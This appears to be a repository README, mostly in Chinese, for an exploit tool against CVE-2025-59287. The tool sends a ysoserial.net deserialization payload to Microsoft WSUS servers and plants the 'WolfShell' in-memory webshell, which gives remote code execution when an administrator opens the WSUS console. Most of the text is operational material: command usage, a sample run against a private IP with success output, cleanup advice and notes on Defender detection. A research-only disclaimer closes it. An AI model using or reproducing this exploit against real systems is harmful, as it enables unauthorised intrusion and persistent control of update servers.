0x7556/cve-2025-59287Exploit for CVE-2025-59287, injecting WolfShell memory webshell into WSUS servers to achieve remote code execution when the admin console is opened.
CVE-2025-59287 — 注入 WolfShell 金刚狼 正向内存马
CVE-2025-59287 利用 WSUS 相关组件的逻辑缺陷，将 WolfShell 内存马注入到目标服务器。当管理员打开 WSUS 控制台时(默认随机时间1-30分钟内触发)，内存马会触发并导致远程代码执行（RCE）。本文档包含利用示例、所需文件与防护建议。
向目标服务器发送ysoserial.net反序列化payload,功能自定义，本项目演示植入金刚狼内存马
Usage: CVE-2025-59287 <target_url> <payload_file>
CVE-2025-59287 http://192.168.50.159:8530 wolfaspx.txt
C:\Users\Administrator\Desktop\>CVE-2025-59287 http://192.168.50.159:8530 wolfshell.txt
[+] Target: http://192.168.50.159:8530/
[+] Payload read successfully, length: 20413 characters
[+] Getting Server ID...
[+] Server ID: c37d5d65-6460-4543-b7f2-f6414a3c36f9
[+] Auth cookie with Server ID...
[+] Using ID: c37d5d65-6460-4543-b7f2-f6414a3c36f9
[+] Sending event with payload...
[+] SUCCESS!
[!] RCE will trigger when you open the WSUS console!
[!] to cleanup remove the hawktrace.local computer from WSUS
CVE-2025-59287 http://192.168.50.159:8530 allow7556.txt
win2019 Defender 拦截查杀 无法使用
如图 成功监听 7556 端口 说明 金刚狼内存正向马 已植入
本文档仅用于安全研究与防护目的。请勿将相关利用代码用于未经授权的系统或攻击活动。